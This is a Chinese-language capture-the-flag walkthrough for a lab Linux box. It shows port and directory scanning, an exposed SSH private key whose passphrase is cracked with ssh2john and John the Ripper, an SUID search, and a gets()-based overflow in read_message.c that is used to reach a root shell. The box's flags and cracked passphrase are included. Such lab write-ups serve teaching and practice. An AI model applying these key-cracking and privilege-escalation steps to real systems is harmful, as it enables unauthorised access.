简介

图片

靶场作者:@_timk
操作系统:Linux
任务:拿到 /root/flag.txt
靶场 IP:10.10.10.135

学习到的知识

利用 Join the Rippessh2john 破解SSH私钥

通过简单的代码审计C语言程序来溢出提权

信息搜集

拿到靶场IP后使用NMAP扫描一下端口开放服务:

1
nmap -A 10.10.10.135

图片

通过NMAP扫描结果来看,他开放了:22(ssh)、80(http)、31337(http)三个端口,其中8031337web服务!

先来看他80端口的web页面:

1
http://10.10.10.135/

图片

在页面上并没有显示一些东西,只是一个由Nginx容器搭建的web页面,先扫扫它的目录:

1
dirb http://10.10.10.135/

图片

发现也没有什么目录和文件,那么80端口无法突破!我们换下一个31337

1
http://10.10.10.135:31337

图片

访问了web后发现是由Apache搭建的网站,我们继续扫扫目录:

1
dirb http://10.10.10.135:31337

图片

这个时候发现了几个文件:

1
2
3
4
5
+ http://10.10.10.135:31337/.bash_history (CODE:200|SIZE:188)                  
+ http://10.10.10.135:31337/.bashrc (CODE:200|SIZE:3526)
+ http://10.10.10.135:31337/.profile (CODE:200|SIZE:675)
+ http://10.10.10.135:31337/.ssh (CODE:200|SIZE:43)
+ http://10.10.10.135:31337/robots.txt (CODE:200|SIZE:70)

其中访问 robots.txt 后发现了这些,也正如上图扫描出来的文件内容!

图片

打开 taxes 后拿到了第一个 Flag

1
Good job! Here is a flag: flag1{make_america_great_again}

图片

SSH私钥公钥泄露

在刚刚扫描出来的结果中,有一个 .ssh 的文件引起了我的注意,访问后页面上回显了 ssh 连接的私钥公钥

1
http://10.10.10.135:31337/.ssh

图片

id_rsa(私钥)、authorized_keys(公钥,认证密钥)id_rsa.pub(公钥),访问以下文件可以把它们下载到本地:

1
2
3
http://10.10.10.135:31337/.ssh/id_rsa
http://10.10.10.135:31337/.ssh/authorized_keys
http://10.10.10.135:31337/.ssh/id_rsa.pub

图片

下载到本地后查看公钥发现用户名是 simon

图片

尝试使用 私钥(id_rsa)登陆 SSH

1
ssh -i id_rsa simon@10.10.10.135

图片

使用Join the Ripper的ssh2john破解SSH私钥

这个时候发现登录不进去,原因是密码不对!接下来使用 ssh2john 破解 id_rsa(私钥)

1
2
查看 ssh2john 文件的路径
locate ssh2john

图片

1
/usr/share/john/ssh2john.py

然后把 ssh2john.py 复制到当前路径,接下来就利用 ssh2johnid_rsa(私钥)转换为 john 可识别的文件:

1
python ssh2john.py id_rsa > liuwx

图片

最后使用 Join the Ripper 来破解 liuwx文件:

1
john liuwx

图片

破解成功,密码为:starwars !

拿到密码后进行SSH 连接:

1
2
3
ssh -i id_rsa simon@10.10.10.135
user:simon
pass:starwars

图片

登陆成功后,我切换到 /root 目录下发现了 flag.txt ,但是查看不了它的内容:

图片

权限太小了所以不能查看 flag.txt 文件!

软件溢出提权

我们先来查找一下那些文件是 root 权限的:

1
2
3
4
5
find / -perm -4000 2>/dev/null
注释:
find / 从根目录查找
-perm -4000 具有执行权限的文件
2>/dev/null 避免输出错误

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/local/bin/read_message
/bin/umount
/bin/su
/bin/mount
/bin/ping

通过搜索 root 权限的文件我们可以查看到 read_message ,是不是似曾相识?对,就是 /home 目录下的 read_message.c 文件!通过查看 read_message.c 文件发现是一段由 C 语言编写的程序:

1
cat read_message.c

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}

}

图片

通过代码审计得到了 flag2 为:flag2{use_the_source_luke},其中代码的意思就是:使用 strncmp函数来比较输入的内容数组 authorized(Simon)而且字符为5,第三个参数 buf 是数组,也就是说最大字符不能超过20,如果等于 authorized(Simon)并且字符不超过20那么就 printf 打印出以下内容:

图片

如果输出不等于 authorized ,则 printf 输出以下内容:

图片

而最终通过代码审计buf 不能超过20个字符,超过了就可以利用 execve 函数来让我们进行溢出得到 root 权限,具体的是输入正确的 Simon然后后面随便输入字符超过20个字符然后进入到 program 目录,我们可以替换为 /bin/sh

图片

最终通过溢出提权为 root 拿到 flag

总结

通过SSH私钥泄露,利用Join the Ripper来破解私钥登陆SSH,最终代码审计read_message.c程序利用溢出提权得到root拿到flag!